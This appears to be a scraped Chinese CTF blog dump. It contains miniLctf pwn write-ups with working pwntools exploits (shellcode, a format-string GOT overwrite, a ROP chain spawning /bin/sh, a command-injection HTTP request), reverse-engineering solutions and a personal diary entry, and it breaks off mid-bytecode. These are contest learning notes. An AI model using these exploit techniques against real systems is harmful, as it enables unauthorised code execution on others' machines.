21h占用两个字节 然后做题的时候和做题后我就是个傻逼,记录一下被骂的过程和被骂的原因: 这是我第一遍的exp: 123456789101112131415161718192021222324252627282930from pwn import *context(arch = 'amd64',os='linux',log_level = 'debug')p = process('./shellcode_loader')#p = remote('pwn.woooo.tech',10063)#gdb.attach(p,"b *$rebase(0x1232)")shellcode = ''' mov rax, qword ptr[rsp + 0x50]; jmp rax;'''shellcode = asm(shellcode, arch='amd64', os='linux') + b"//bin/sh"# 3 + 4 + 1 + 7 = 15p.sendline(shellcode)shellcode2 = ''' lea rdi, byte ptr[rsp + 0x40]; push rbx; pop rsi; push rsi; pop rdx; push rdx; pop rax; mov al, 59; syscall;'''# 5 + 1*6 + 3 + 1 = 15shellcode2 = asm(shellcode2, arch='amd64', os='linux')p.send(shellcode2)p.interactive() 本地通了,但是远程死活不通,然后我在ubuntu18、16上都能通,(就是没有试ubuntu20,因为我印象中ubuntu20的shellcode执行有点问题)。最后还是尝试了一下ubuntu2004,发现了问题,rbx不一定是0。 好了,来说说bb被骂路程 这是bb本地能通,远程没通。 这是远程通了拿到flag 对了,这是最佳答案: PWN2-easy_repeater | Worked: BB简单的白给 EXP123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657from pwn import *binary = './baby_repeater'context(arch='amd64', os='linux',log_level='debug')#p = process(binary,env={'LD_PRELOAD':'./libc-2.31.so'})p = remote('pwn.woooo.tech', 10209)elf = ELF(binary)libc = ELF("./libc-2.31.so")ru = lambda x:p.recvuntil(x)sla = lambda x,y:p.sendlineafter(x,y)sa = lambda x,y:p.sendafter(x,y)#gdb.attach(p, 'b *$rebase(0x145d)\\nc\\nx/gx $rebase(0x3258)\\n')sla("> ",b'%111$p')ru("Your sentence: 0x")libc_start_addr = int(p.recv(12),16)libc_base = libc_start_addr - libc.sym['__libc_start_main'] - 243shell_addr = libc_base + 0xe6c81log.success(hex(libc_base))log.success('shell_addr--->'+hex(shell_addr))sla("> ",b'%107$p')ru("Your sentence: 0x")main_addr = int(p.recv(12),16) - 42log.success('main_addr--->'+hex(main_addr))base = main_addr - 0x14d5hook_got = elf.got['exit'] + baselog.success("hook_got---->"+hex(hook_got))payload1=fmtstr_payload(8, {hook_got: shell_addr},numbwritten=15)log.info(str(len(payload1)))sla("> ",payload1)print(payload1)sla("> ","exit")p.interactive()'''0xe6c7e execve("/bin/sh", r15, r12)constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL0xe6c81 execve("/bin/sh", r15, rdx)constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL0xe6c84 execve("/bin/sh", rsi, rdx)constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL''' PWN3-twins | Worked: BB“拟态防御”,第一次见这个还是挺有意思的…… 还算是很简单的啦=_= 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354from pwn import * binary = './pwn1'context(log_level='debug')p=process(binary)p = remote("pwn.woooo.tech", 10268)ru = lambda x:p.recvuntil(x)sla = lambda x,y:p.sendlineafter(x,y)sa = lambda x,y:p.sendafter(x,y)sl = lambda x:p.sendline(x)# 64pop_rax = 0x0000000000451a57pop_rdi = 0x000000000040185apop_rdx = 0x000000000040175fpop_rsi = 0x000000000040f3febinsh_addr_x64 = 0x00000004c5220syscall_ret = 0x000000487c99add_rsp = 0x00000000004029c2 # 0x98# 32gets_addr = 0x8058474pop_eax = 0x080b05capop_edx_ebx = 0x0805ede9pop_ecx = 0x080642b1binsh_addr = 0x80e83c0int_addr = 0x0804a402add_esp = 0x0804b08e #0x2cpayload = b'a'*0x44 + b'b'*0x4payload += p32(add_esp)payload += b'c'*12payload += p64(add_rsp)payload += b'd'*24payload += p32(gets_addr) + p32(pop_eax) + p32(binsh_addr)payload += p32(pop_ecx) + p32(0)payload += p32(pop_edx_ebx) + p32(0) + p32(binsh_addr)payload += p32(pop_eax) + p32(0xb)payload += p32(int_addr)payload += b'd'*0x54payload += p64(pop_rax) + p64(0)payload += p64(pop_rdi) + p64(0)payload += p64(pop_rsi) + p64(binsh_addr_x64)payload += p64(pop_rdx) + p64(0x100)payload += p64(syscall_ret)payload += p64(pop_rax) + p64(59)payload += p64(pop_rdi) + p64(binsh_addr_x64)payload += p64(pop_rsi) + p64(0)payload += p64(pop_rdx) + p64(0)payload += p64(syscall_ret)sla("say ?\\n", payload)sl(b'/bin/sh\\x00')p.interactive() PWN4-Cross Platform Calculator | Worked:BB&Noah&Wanan我的思路一开始就是正确的!!!! 找了个web手帮我进行命令注入~ 123456789from pwn import *context.log_level='debug'p = process('./httpd')#gdb.attach(p,"b *$rebase(0x160E)")input()payload = '''GET /calc?x=`cat$IFS./flag`));echo$IFS$((1&y=1&action=add HTTP/1.1\\r\\n'''p.sendline(payload)p.recv()p.recv() RERE2-sub | Worked: BB&Noah傀儡进程,附加段。 查看段发现.what?,比较容易看出是每一个字节异或一个定值,用文件头算出key值,然后得到真正的进程 dump内存,直接重新分析。 很明显,这是一个 check函数相当于是一个函数指针(应该叫做虚表结构),x一下,发现它还有另外一个函数 12345678910111213key=[0x5A,0x46,0x59,0x46,0x7B,0x5C,0x43,0x51,0x74,0x63,0x47,0x0E,0x4C,0x68,0x0E,0x4C,0x68,0x43,0x47,0x3,0x68,0x51,0x5E,0x44,0x3,0x68,0x51,0x0E,0x5E,0x50,0x1E,0x4A]for i in range(32): tmp = key[i]^0x55 tmp -= 4 print(chr(tmp^0x66),end='')#miniLctf{Th1s_1s_th4_fak4_f1ag!}key = [0x5A,0x26,0x59,0x26,0x7B,0x5C,0x43,0x51,0x54,0x6D,0x52,0x68,0x0E,0x4C,0x68,0x4C,0x0F,0x68,0x0E,0x59,0x43,0x3,0x4D,0x3,0x4C,0x43,0x0E,0x59,0x50,0x1E,0x1E,0x4A]for i in range(32): tmp = key[i]^0x66 tmp -= 4 print(chr(tmp^0x55),end='')# miniLctf{Re_1s_s0_1nt4r4st1ng!!} RE3-Ooooops | Worked: BB这个题吧,没啥说的,直接上exp: 1234567891011121314151617181920212223def brute(x): print("[@_@] ", x, ": ") flag = ["m", "i", "n", "i", "l", "c", "t", "f", "{"] v4 = "!V -}VG-bp}m-nG!b|ra GyGE|Drp D" v3 = [16, 4, 24, 11, 24, 16, 4, 21, 11, 5, 31, 46, 33, 46, 72, 21, 6, 46, 17, 59, 5, 62, 46, 24, 21, 72, 46, 59, 33, 31, 10] for i in range(200): flag.append("") for i in range(30): try: flag[9 + 2 * i] = chr((((v3[i]) ^ 0x42) - 4) ^ 0x37) except: pass for i in range(0x1f): try: flag[9 + 2 * i + 1] = chr(((ord(v4[i]) ^ 0x13 ^ x) + 4) ^ 0x4D) except: pass f = "".join(flag) print("[?_?] ", f)for i in range(255):#暴力破解 brute(i)","categories":[{"name":"CTF比赛题解","slug":"CTF比赛题解","permalink":"http://example.com/categories/CTF%E6%AF%94%E8%B5%9B%E9%A2%98%E8%A7%A3/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"wp","slug":"wp","permalink":"http://example.com/tags/wp/"}],"author":"7!u!w"},{"title":"记一次心态爆炸时的心路","slug":"记一次心态爆炸时的心路","date":"2021-03-06T15:39:47.000Z","updated":"2021-03-06T15:50:32.999Z","comments":true,"path":"2021/03/06/记一次心态爆炸时的心路/","link":"","permalink":"http://example.com/2021/03/06/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%BF%83%E6%80%81%E7%88%86%E7%82%B8%E6%97%B6%E7%9A%84%E5%BF%83%E8%B7%AF/","excerpt":"","text":"今天心态十分爆炸,究其原因,只有一点——我太菜了。 我菜是一直以来的,但是我最近感觉自己尤其的菜。往往在这个时候,我才能看清自己,写点东西,让自己痛苦痛苦。 去年进了西电,貌似还不错,仗着自己高中不学无术了解的那一点点计算机知识,就感觉自己远超别人,就觉得自己牛逼坏了。其实,自己什么都不是。周围的人,真正厉害的,大一都已经保研了……但我还沉醉于自己很牛逼的假象之中,不愿意认清自己很菜的事实。 在西电,一直忙着各种事情,跟着师傅们、学长们,一获得点成就就沾沾自喜,总是用之前微不足道的成绩来骗自己。殊不知,之前比我强的,依旧比我强;之前比我弱的,也比我强了…… 而当事实把我叫醒时,也就是最近,我自然就出现心态爆炸的情况。怨不得别人,只能怨自己。 有时候,我挺瞧不起自己的。瞧不起那个没出息、没本事、没技术,还自诩牛逼的自己,关键是,他还不愿意认清自己,不愿意人情自己菜的本质。非要犯贱,等到事实打疼他,他才看清真相…… 啰里八嗦,说了很多气话,同时也是真话。希望自己不要等不疼了,就忘记了现在的难受。好了,就这样吧,别瞎想了,继续学习吧。加油! 最后记着: 你很菜,你什么都不会,别成天拽不拉几的 别人比你强的时候,他就是你爹;当你觉得你比他强的时候,那就是你又膨胀了 低头,认个不行,没什么大不了的,学会就好了","categories":[{"name":"杂记","slug":"杂记","permalink":"http://example.com/categories/%E6%9D%82%E8%AE%B0/"}],"tags":[{"name":"杂记","slug":"杂记","permalink":"http://example.com/tags/%E6%9D%82%E8%AE%B0/"}],"author":"BlackBird"},{"title":"关于RX一个题的思考","slug":"IDA数据类型","date":"2021-02-23T12:57:29.000Z","updated":"2021-02-23T13:03:41.252Z","comments":true,"path":"2021/02/23/IDA数据类型/","link":"","permalink":"http://example.com/2021/02/23/IDA%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B/","excerpt":"","text":"说实话,其实谈不上是思考,只能说是一个题目在仔细研究的时候终于理清了一些奇奇怪怪的东西,所以整理一下。不说啥了,RX,yyds 题目是Re学习之RX引路-week1的第三题GWCTF 2019 xxor 前置知识: C语言数据类型大小与范围 类型名称 arch 字节数 位数 char * 1 8 short int * 2 16 int * 4 32 long win 4 32 linux32 4 32 linux64 8 64 long long * 8 64 IDA中涉及的一些数据类型: 我们写个程序在IDA里面看看,这是第一个版本: 12345678#include<stdio.h>int main(){ int a; long b; long long c; printf("%d\\n%ld\\n%lld",sizeof(a),sizeof(b),sizeof(c)); return 0;} 但是IDA的代码直接给我printf(4)……并没有在堆栈里面显示我声明的三个变量,我瞬间就不爽了。 所以这是第二版: 1234567891011121314#include<stdio.h>int main(){ int a; long b; long long c; scanf("%d",&a); scanf("%ld",&b); scanf("%lld",&c); printf("%lld\\n",a+b+c); printf("int %d\\n",sizeof(a)); printf("long %d\\n",sizeof(b)); printf("long long %d\\n",sizeof(c)); return 0;} 我们看看堆栈内容: 我们看到那里有一个dd,dq,这里是用来表述数据大小,相似的还有db、dw 标记 全称 大小/字节 db define byte 1 dw define word 2 dd define double word 4 dq define quad word 8 这里的word和计算机的字长不一样,我们所说的计算机字长是指他的总线宽度。所以不同的arch对应的字长是不一样的,而word做为一个单位由于它是来源于16位机,所以当word作为一个空间大小单位的时候,固定为2bytes。 Archieve 总线宽度 字长 8086 16位 2 x86 32位 4 x64 64位 8 下面我们可以来看看这个题目了。 题目复现总述WPDIE查一下,没什么……拖进IDA64,woc惊喜!没扣符号表!!! 找到main函数,美化一下: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647__int64 __fastcall main(int a1, char **a2, char **a3){ int i; // [rsp+8h] [rbp-68h] int j; // [rsp+Ch] [rbp-64h] __int64 v6[6]; // [rsp+10h] [rbp-60h] BYREF __int64 v7[6]; // [rsp+40h] [rbp-30h] BYREF v7[5] = __readfsqword(0x28u); puts("Let us play a game?"); puts("you have six chances to input"); puts("Come on!"); v6[0] = 0LL; v6[1] = 0LL; v6[2] = 0LL; v6[3] = 0LL; v6[4] = 0LL; for ( i = 0; i <= 5; ++i ) { printf("%s", "input: "); a2 = (char **)((char *)v6 + 4 * i); __isoc99_scanf("%d", a2); } v7[0] = 0LL; v7[1] = 0LL; v7[2] = 0LL; v7[3] = 0LL; v7[4] = 0LL; for ( j = 0; j <= 2; ++j ) { dword_601078 = v6[j]; dword_60107C = HIDWORD(v6[j]); a2 = (char **)&unk_601060; change(&dword_601078, &unk_601060); LODWORD(v7[j]) = dword_601078; HIDWORD(v7[j]) = dword_60107C; } if ( (unsigned int)check(v7, a2) != 1 ) { puts("NO NO NO~ "); exit(0); } puts("Congratulation!\\n"); puts("You seccess half\\n"); puts("Do not forget to change input to hex and combine~\\n"); puts("ByeBye"); return 0LL;} 思路比较清晰,输入以后change函数处理,check函数比较,出结果。 我们先来看看check函数,美化: 123456789101112131415161718192021signed __int64 __fastcall check(_DWORD *a1){ signed __int64 result; // rax if ( a1[2] - a1[3] != 0x84A236FFLL || a1[3] + a1[4] != 0xFA6CB703LL || a1[2] - a1[4] != 0x42D731A8LL ) { puts("Wrong!"); result = 0LL; } else if ( *a1 != 0xDF48EF7E || a1[5] != 0x84F30420 || a1[1] != 0x20CAACF4 ) { puts("Wrong!"); result = 0LL; } else { puts("good!"); result = 1LL; } return result;} 根据提示,z3解方程: 12345678910111213141516171819202122232425from z3 import *s=Solver()x0 = Int('x0')x1 = Int('x1')x2 = Int('x2')x3 = Int('x3')x4 = Int('x4')x5 = Int('x5')s.add(x0==0xDF48EF7E)s.add(x5==0x84F30420)s.add(x1==0x20CAACF4)s.add(x2-x3==0x84A236FF)s.add(x3+x4==0xFA6CB703)s.add(x2-x4==0x42D731A8)if s.check() == sat: m = s.model() print(m)'''[x2 = 3774025685, x3 = 1548802262, x4 = 2652626477, x1 = 550153460, x5 = 2230518816, x0 = 3746099070] ''' 那么相当于知道了flag_enc,再看change函数: 12345678910111213141516171819202122__int64 __fastcall change(unsigned int *ini, _DWORD *tables){ __int64 result; // rax unsigned int var; // [rsp+1Ch] [rbp-24h] unsigned int var_1; // [rsp+20h] [rbp-20h] int tmp; // [rsp+24h] [rbp-1Ch] unsigned int i; // [rsp+28h] [rbp-18h] var = *ini; var_1 = ini[1]; tmp = 0; for ( i = 0; i <= 63; ++i ) { tmp += 0x458BCD42; var += (var_1 + tmp + 11) ^ ((var_1 << 6) + *tables) ^ ((var_1 >> 9) + tables[1]) ^ 0x20; var_1 += (var + tmp + 20) ^ ((var << 6) + tables[2]) ^ ((var >> 9) + tables[3]) ^ 0x10; } *ini = var; result = var_1; ini[1] = var_1; return result;} 对change函数的三行关键代码进行分析,发现var_1的处理只与此时var的值有关,其余都是常量;var的处理只与此时var_1值有关,其余都是常量。所以直接把加号变成减号就ok了。 然后还有一点需要注意的就是在IDA里面你的数据数据类型是什么,(你把鼠标移动到变量上面就会显示该变量的数据类型)你在写exp的时候数据就用什么数据类型,否则可能会出锅。 123456789101112131415161718192021222324252627282930#include<bits/stdc++.h>using namespace std;int main(){ unsigned int flag_enc[5],flag[5]; flag_enc[0]=3746099070;flag_enc[1]=550153460;flag_enc[2]=3774025685;flag_enc[3]=1548802262;flag_enc[4]=2652626477;flag_enc[5]=2230518816; unsigned int var[3]; unsigned int tables[4]={2,2,3,4}; for(int i=0;i<5;i+=2){ int tmp = 0x458BCD42*64; var[0]=flag_enc[i]; var[1]=flag_enc[i+1]; for(int j=0;j<=0x3F;j++){ var[1] -= (var[0] + tmp + 20) ^ ((var[0] << 6) + tables[2]) ^ ((var[0] >> 9) + tables[3]) ^ 0x10; var[0] -= (var[1] + tmp + 11) ^ ((var[1] << 6) + tables[0]) ^ ((var[1] >> 9) + tables[1]) ^ 0x20; tmp-=0x458BCD42; } flag[i]=var[0]; flag[i+1]=var[1]; } for(int i=0;i<6;i++) printf("0x%x\\n",flag[i]);}/*0x666c610x677b720x655f690x735f670x7265610x74217d*/ 再用sublime处理一下,用python稍微跑一下: 1234flag=[0x66,0x6c,0x61,0x67,0x7b,0x72,0x65,0x5f,0x69,0x73,0x5f,0x67,0x72,0x65,0x61,0x74,0x21,0x7d]for i in flag: print(chr(i),end='')# flag{re_is_great!} 一些奇奇怪怪的地方main函数: 输入这个地方我嗯仔细分析一下,占位符%d对应整形int,也就是4个字节;char对应一个字节,也和a2那块的4*i相呼应了。综述这里的v6和v7应该都是整形数组,也就是32位,但IDA把他识别成了64位的。我们手动改一下: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647__int64 __fastcall main(int a1, char **a2, char **a3){ int i; // [rsp+8h] [rbp-68h] int j; // [rsp+Ch] [rbp-64h] __int32 v6[12]; // [rsp+10h] [rbp-60h] BYREF __int32 v7[12]; // [rsp+40h] [rbp-30h] BYREF *(_QWORD *)&v7[10] = __readfsqword(0x28u); puts("Let us play a game?"); puts("you have six chances to input"); puts("Come on!"); *(_QWORD *)v6 = 0LL; *(_QWORD *)&v6[2] = 0LL; *(_QWORD *)&v6[4] = 0LL; *(_QWORD *)&v6[6] = 0LL; *(_QWORD *)&v6[8] = 0LL; for ( i = 0; i <= 5; ++i ) { printf("%s", "input: "); a2 = (char **)&v6[i]; __isoc99_scanf("%d", a2); } *(_QWORD *)v7 = 0LL; *(_QWORD *)&v7[2] = 0LL; *(_QWORD *)&v7[4] = 0LL; *(_QWORD *)&v7[6] = 0LL; *(_QWORD *)&v7[8] = 0LL; for ( j = 0; j <= 4; j += 2 ) { dword_601078 = v6[j]; dword_60107C = v6[j + 1]; a2 = (char **)&unk_601060; change(&dword_601078, &unk_601060); v7[j] = dword_601078; v7[j + 1] = dword_60107C; } if ( (unsigned int)check(v7, a2) != 1 ) { puts("NO NO NO~ "); exit(0); } puts("Congratulation!\\n"); puts("You seccess half\\n"); puts("Do not forget to change input to hex and combine~\\n"); puts("ByeBye"); return 0LL;} 这样的话原本有点难理解的LODWORD和HIDWORD两个函数也就处理很好了。 这里还有一个问题: 再分析change函数的时候,他的第二个参数是unk_601060,如果你直接扣unk_601060的话他是:2,0,0,2,0,0,0,3,0,0,0,4,0,0,0 但是明显他应该是2,2,3,4。这里我们要进一下change函数: change函数里面的第二个参数声明是_DWORD,也就是4字节一单位,而unk_601060的单位是byte,所以我们要在unk_601060里面按一下D: 这样就很舒服了~","categories":[{"name":"CTF学习笔记","slug":"CTF学习笔记","permalink":"http://example.com/categories/CTF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"RE","slug":"RE","permalink":"http://example.com/tags/RE/"}],"author":"BlackBird"},{"title":"Re学习之RX引路_week7","slug":"Re学习之RX引路-week7","date":"2021-02-23T12:50:50.000Z","updated":"2021-02-23T14:54:57.242Z","comments":true,"path":"2021/02/23/Re学习之RX引路-week7/","link":"","permalink":"http://example.com/2021/02/23/Re%E5%AD%A6%E4%B9%A0%E4%B9%8BRX%E5%BC%95%E8%B7%AF-week7/","excerpt":"","text":"GUETCTF 2019 number game爆破看了一遍代码,不多,但逻辑感觉挺恶心的,所以我们要像神·RX学习,爆破!!! 12345678910111213141516171819202122from pwn import *import osdef vio(tmp): print("test_",": try_",tmp) p = process("./number_game") p.sendline(tmp) re = p.recv() if b'T' in re: print("ans: ",tmp); os.system('spd-say "Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh Ahh your program has finished"') a=input() p.close()def fuck(cnt,tmp): if cnt==10: vio(tmp) return for i in range(48,53): fuck(cnt+1,tmp+chr(i))fuck(0,"") 这里用pwntools与程序进行交互。这个爆破程序感觉有很多地方可以优化,例如多线程,但是多线程又不太会……所以只能手动修改代码来跑,同时运行多个,也算是多线程了……(逃 挖个坑吧,抽空学学多线程…… 但是好像pwntools的效率比较低…… 12345678910111213141516171819import subprocessfrom itertools import * list = '01234'j = 0for i in product(list, repeat=10): input = "".join(i) obj = subprocess.Popen(["./number_game"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) obj.stdin.write(input) obj.stdin.close() cmd_out = obj.stdout.read() obj.stdout.close() print input print cmd_out if 'cxk' not in cmd_out : print "bingo!!!!!! : ",input exit() 这是网上嫖的wp,貌似效率很高……下来再学习以下这个。继续挖坑…… angrmd,我第一遍的angr脚本少了一个avoid导致没跑出来,后来瞅瞅树树的才发现…… 1234567import angrp = angr.Project("./number_game",load_options={"auto_load_libs": False})sta = p.factory.entry_state()sim = p.factory.simulation_manager(sta)sim.explore(find=0x400AC1,avoid=[0x400AFC,0x4006F4,0x400736,0x4009DF])print(sim.found[0].posix.dumps(0))#b'1134240024\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' 硬刚总之爆破交给虚拟机去跑,我们继续分析程序: 我们就一点一点分析函数(含树……, 12345678910111213141516171819202122232425262728293031323334353637unsigned __int64 __fastcall main(int a1, char **a2, char **a3){ char *v4; // [rsp+8h] [rbp-38h] __int64 input; // [rsp+10h] [rbp-30h] BYREF __int16 v6; // [rsp+18h] [rbp-28h] __int64 v7; // [rsp+20h] [rbp-20h] BYREF __int16 v8; // [rsp+28h] [rbp-18h] char v9; // [rsp+2Ah] [rbp-16h] unsigned __int64 v10; // [rsp+38h] [rbp-8h] v10 = __readfsqword(0x28u); input = 0LL; v6 = 0; v7 = 0LL; v8 = 0; v9 = 0; __isoc99_scanf("%s", &input); if ( !(unsigned int)sub_4006D6((const char *)&input) )// 48<= input <=52 { v4 = (char *)sub_400758((char *)&input, 0, 0xAu);// 根据输入形成了一个类似链表或者树一样的东西…… sub_400807(v4, (int *)&v7); // 把输入换了一个顺序,存储到dword_601080里面,同时改变了v7,,但是哪里变得没看出来…… v9 = 0; sub_400881((char *)&v7); if ( (unsigned int)sub_400917() ) { puts("TQL!"); printf("flag{"); printf("%s", (const char *)&input); puts("}"); } else { puts("your are cxk!!"); } } return __readfsqword(0x28u) ^ v10;} 那我们能不能这样,我们把校验输入的sub_4006D6给patch掉,然后将0123456789作为输入,反正程序没有修改输入,只是换了一个顺序: 然后再通过sub_400881函数进行修改sub_601062~sub_601077的值,下来就是看sub_400917的内容,来看看他的判断条件: 123456789101112131415161718192021222324252627282930313233343536373839404142430X601060 != 0X601061 0X601065 != 0X601066 0X60106A != 0X60106B0X601060 != 0X601062 0X601065 != 0X601067 0X60106A != 0X60106C0X601060 != 0X601063 0X601065 != 0X601068 0X60106A != 0X60106D0X601060 != 0X601064 0X601065 != 0X601069 0X60106A != 0X60106E0X601061 != 0X601062 0X601066 != 0X601067 0X60106B != 0X60106C0X601061 != 0X601063 0X601066 != 0X601068 0X60106B != 0X60106D0X601061 != 0X601064 0X601066 != 0X601069 0X60106B != 0X60106E0X601062 != 0X601063 0X601067 != 0X601068 0X60106C != 0X60106D0X601062 != 0X601064 0X601067 != 0X601069 0X60106C != 0X60106E0X601063 != 0X601064 0X601068 != 0X601069 0X60106D != 0X60106E0X60106F != 0X601070 0X601074 != 0X601075 0X601060 != 0X6010650X60106F != 0X601071 0X601074 != 0X601076 0X601060 != 0X60106A0X60106F != 0X601072 0X601074 != 0X601077 0X601060 != 0X60106F0X60106F != 0X601073 0X601074 != 0X601078 0X601060 != 0X6010740X601070 != 0X601071 0X601075 != 0X601076 0X601065 != 0X60106A0X601070 != 0X601072 0X601075 != 0X601077 0X601065 != 0X60106F0X601070 != 0X601073 0X601075 != 0X601078 0X601065 != 0X6010740X601071 != 0X601072 0X601076 != 0X601077 0X60106A != 0X60106F0X601071 != 0X601073 0X601076 != 0X601078 0X60106A != 0X6010740X601072 != 0X601073 0X601077 != 0X601078 0X60106F != 0X6010740X601061 != 0X601066 0X601062 != 0X601067 0X601063 != 0X6010680X601061 != 0X60106B 0X601062 != 0X60106C 0X601063 != 0X60106D0X601061 != 0X601070 0X601062 != 0X601071 0X601063 != 0X6010720X601061 != 0X601075 0X601062 != 0X601076 0X601063 != 0X6010770X601066 != 0X60106B 0X601067 != 0X60106C 0X601068 != 0X60106D0X601066 != 0X601070 0X601067 != 0X601071 0X601068 != 0X6010720X601066 != 0X601075 0X601067 != 0X601076 0X601068 != 0X6010770X60106B != 0X601070 0X60106C != 0X601071 0X60106D != 0X6010720X60106B != 0X601075 0X60106C != 0X601076 0X60106D != 0X6010770X601070 != 0X601075 0X601071 != 0X601076 0X601072 != 0X6010770X601064 != 0X601069 0X601064 != 0X60106E0X601064 != 0X6010730X601064 != 0X6010780X601069 != 0X60106E0X601069 != 0X6010730X601069 != 0X6010780X60106E != 0X6010730X60106E != 0X6010780X601073 != 0X601078 这里先简述一下他的规律:从0x601060开始到0x601078,每五个分成一组,每组不能有重复的,仅为01234;每一组的第n个数字不能相同;以下受输入影响: 12345678910byte_601062 = a1[0];byte_601067 = a1[1];byte_601069 = a1[2];byte_60106B = a1[3];byte_60106E = a1[4];byte_60106F = a1[5];byte_601071 = a1[6];byte_601072 = a1[7];byte_601076 = a1[8];byte_601077 = a1[9]; 那我们根据规律排除出受输入影响的几个数字应该是多少(有数独内味了~),好吧,就是数独,一个5*5的数独。然后再按照顺序还原成输入: 12345678910111213141516171819202122232425262728290x601060 = 31h ; 10x601061 = 34h ; 40x601062 = a1[0] = 30h ; 0 0x601063 = 32h ; 20x601064 = 33h ; 30x601065 = 33h ; 30x601066 = 30h ; 00x601067 = a1[1] = 34h ; 40x601068 = 31h ; 10x601069 = a1[2] = 32h ; 20x60106A = 30h ; 00x60106B = a1[3] = 31h ; 10x60106C = 32h ; 20x60106D = 33h ; 30x60106E = a1[4] = 34h ; 40x60106F = a1[5] = 32h ; 20x601070 = 33h ; 30x601071 = a1[6] = 31h ; 10x601072 = a1[7] = 34h ; 40x601073 = 30h ; 00x601074 = 34h ; 40x601075 = 32h ; 20x601076 = a1[8] = 33h ; 30x601077 = a1[9] = 30h ; 00x601078 = 31h ; 1 再按照 这个顺序还原成输入就好了~ HITCTF 2020 Node好难,先鸽着…… GKCTF 2020 BabyDriverDIE,IDA64,F12。怎么像一个maze题…… 1234567891011121314****************o.*..*......*..**.**...**.*.*.***.****.**.*.*.***...**....*.*.*****..***.**.*..**.**.***.**.**.**.**.******.**.**.**....***.**.**.*****.***....**...***.**********..***......#****.***************************** 起点和终点明了,主要是上下左右。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394__int64 __fastcall sub_140001380(__int64 a1, __int64 a2){ __int64 v3; // rdi __int64 v4; // rax int v5; // ecx __int16 *v6; // rsi __int64 v7; // rbp __int16 v8; // dx char v9; // dl const CHAR *v10; // rcx if ( *(int *)(a2 + 48) >= 0 ) { v3 = *(_QWORD *)(a2 + 24); v4 = *(_QWORD *)(a2 + 56) >> 3; if ( (_DWORD)v4 ) { v5 = dword_1400030E4; v6 = (__int16 *)(v3 + 2); v7 = (unsigned int)v4; while ( *(_WORD *)(v3 + 4) ) {LABEL_28: v6 += 6; if ( !--v7 ) goto LABEL_29; } aO[v5] = '.'; v8 = *v6; if ( *v6 == 23 ) { if ( (v5 & 0xFFFFFFF0) != 0 ) { v5 -= 16; goto LABEL_21; } v5 += 208; dword_1400030E4 = v5; } if ( v8 == 37 ) { if ( (v5 & 0xFFFFFFF0) != 208 ) { v5 += 16; goto LABEL_21; } v5 -= 208; dword_1400030E4 = v5; } if ( v8 == 36 ) { if ( (v5 & 0xF) != 0 ) { --v5; goto LABEL_21; } v5 += 15; dword_1400030E4 = v5; } if ( v8 != 38 ) goto LABEL_22; if ( (v5 & 0xF) == 15 ) v5 -= 15; else ++v5;LABEL_21: dword_1400030E4 = v5;LABEL_22: v9 = aO[v5]; if ( v9 == '*' ) { v10 = "failed!\\n"; } else { if ( v9 != '#' ) {LABEL_27: aO[v5] = 111; goto LABEL_28; } v10 = "success! flag is flag{md5(input)}\\n"; } dword_1400030E4 = 16; DbgPrint(v10); v5 = dword_1400030E4; goto LABEL_27; } }LABEL_29: if ( *(_BYTE *)(a2 + 65) ) *(_BYTE *)(*(_QWORD *)(a2 + 184) + 3i64) |= 1u; return *(unsigned int *)(a2 + 48);} 其实很容易看出来哪些分支是上下左右,,,但是23,36,37,38明显不是常规的ASCII。上网查了一波才知道是键盘扫描码,对应着ijkl手动走一下迷宫: LKKKLLKLKKKLLLKKKLLLLLL flag{403950a6f64f7fc4b655dea696997851}","categories":[{"name":"CTF学习笔记","slug":"CTF学习笔记","permalink":"http://example.com/categories/CTF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"RE","slug":"RE","permalink":"http://example.com/tags/RE/"}],"author":"BlackBird"},{"title":"Re学习之RX引路_week6","slug":"Re学习之RX引路-week6","date":"2021-02-23T11:20:32.000Z","updated":"2021-02-23T12:49:32.629Z","comments":true,"path":"2021/02/23/Re学习之RX引路-week6/","link":"","permalink":"http://example.com/2021/02/23/Re%E5%AD%A6%E4%B9%A0%E4%B9%8BRX%E5%BC%95%E8%B7%AF-week6/","excerpt":"","text":"PyDis这个题应该是rx仿今年的hgame的那一个pypy…… 先把pyc转成byte_code: 123456import dis,marshalf=open("pyre.cpython-39.pyc","rb").read()code = marshal.loads(f[16:])dis.dis(code) 没错,我就是嫖含树的(理直气壮 然后硬刚byte_code: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130 1 0 BUILD_LIST 0 2 LOAD_CONST 0 ((178, 184, 185, 191, 182, 165, 174, 191, 129, 183, 187, 176, 129, 169, 191, 167, 163)) 4 CALL_FINALLY 1 (to 7) 6 STORE_NAME 0 (magic) 2 8 LOAD_NAME 1 (input) 10 LOAD_CONST 1 ('flag >>> ') 12 CALL_FUNCTION 1 14 STORE_NAME 2 